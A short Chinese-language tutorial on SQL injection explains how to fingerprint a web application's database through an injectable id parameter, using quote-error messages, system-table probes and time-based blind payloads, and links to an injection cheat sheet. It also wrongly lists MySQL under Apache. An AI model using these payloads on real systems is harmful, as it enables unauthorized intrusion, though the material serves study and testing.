0×01 你要知道目前有哪些數據庫
微軟公司旗下的:
Microsoft SQL server 簡稱 MS-SQL 或者 SQL SERVER (大型數據庫操作,功能和性能異常強大)(一般也是ASP或者ASP.NET)
access,微軟Office系列產品之一,極小型數據庫。功能和性能當然也是相當一般。性能甚至可以說是相當低(常與ASP應用交互)
Oracle公司旗下的:
MySQL 是一個關系型數據庫管理系統(常與PHP web應用交互)
Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統
Apache旗下的:
MySql
0×02 判斷你的web應用是什么類型的數據庫
(在可注入的情況下,判斷數據庫類型)(我以數字型注入為例子)
單引號判斷:
id=1′頁面出現類似錯誤顯示 “Microsoft JET Database Engine 錯誤 ’80040e14′” JET 為ACCESS數據庫
id=1′頁面出現類似錯誤顯示 “Microsoft OLE DB Provider for sql server錯誤 ‘xxxxxx’ ” 就為MSSQL數據庫
條件判斷:
id=1 and user>0 出錯爆出user用戶名的是 MSSQL
如果不爆錯,那么我們用以下方式
id=1 and (select count(*) from sysobjects)>0 訪回與id=1時頁面一樣 就為MSSQL數據庫
id=1 and (select count(*) from msysobjects)>0 access會返回你沒有權限查看
如果也沒反應怎么辦?
那我們就盲注吧
mysql 盲注語句為 id=1 and if(1=1,benchmark(100,md5(1)),0) //如果可延時執行,為Mysql數據庫
mssql 盲注語句為 id=1 and if(1=1) waitfor delay ’00:00:04′;
0×03 針對數據庫類型,進行相應的SQL注入攻擊
看了下面的文章,你可能知道為什么要分析是web應用是什么數據庫啦!
如果你分析為 MYSQL 注入,我推薦你看這篇文章。
http://websec.ca/kb/sql_injection#MySQL_Default_Databases
如果你分析為 MSSQL 注入,我推薦你看這篇文章。
http://websec.ca/kb/sql_injection#MSSQL_Default_Databases
如果你分析為 ORACLE 注入,我推薦你看這篇文章。
http://websec.ca/kb/sql_injection#Oracle_Default_Databases
